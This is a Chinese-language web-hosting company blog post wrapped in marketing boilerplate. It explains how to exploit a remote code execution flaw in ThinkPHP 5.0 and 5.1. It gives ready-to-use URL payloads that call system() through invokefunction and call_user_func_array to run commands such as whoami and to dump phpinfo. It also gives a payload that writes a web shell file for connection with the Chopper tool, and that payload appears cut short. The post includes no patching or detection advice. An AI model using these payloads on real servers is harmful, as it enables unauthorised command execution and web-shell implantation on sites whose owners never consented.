如何实现ThinkPHP5.0远程代码执行
本篇文章给大家分享的是有关如何实现ThinkPHP5.0远程代码执行,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。
目前创新互联建站已为近千家的企业提供了网站建设、域名、网站空间、绵阳服务器托管、企业网站设计、镇康网站维护等服务,公司将坚持客户导向、应用为本的策略,正道将秉承"和谐、参与、激情"的文化,与客户和合作伙伴齐心协力一起成长,共同发展。
ThinkPHP是一款国内流行的开源PHP框架,某些版本可能存在远程代码执行漏洞,攻击者可向缓存文件内写入PHP代码,导致远程代码执行。虽然该漏洞利用需要有几个前提条件,但鉴于国内使用ThinkPHP框架的站点数量之多,该漏洞还是存在一定的影响范围.
受影响的版本包括5.0和5.1
下载ThinkPHP5.0.22版本源码程序,放在PHPStudy运行目录下并访问
1.将Payload添加进入URL地址后面进行利用
Payload1:system函数远程命令执行
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
Payload2:phpinfo函数查看phpinfo()的信息
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
2.利用Payload写入shell,并使用菜刀进行连接
Payload1:写入shell
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^ >shell.php
**注意:**需要对特殊字符使用^转义(cmd环境下转义方式),windows环境的echo命令输出字符串到文档不用引号(单引号、双引号),部分字符url编码不编码都行.
菜刀连接
以上就是如何实现ThinkPHP5.0远程代码执行,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注创新互联行业资讯频道。
网站题目:如何实现ThinkPHP5.0远程代码执行
本文网址:http://cdiso.cn/article/jhphhh.html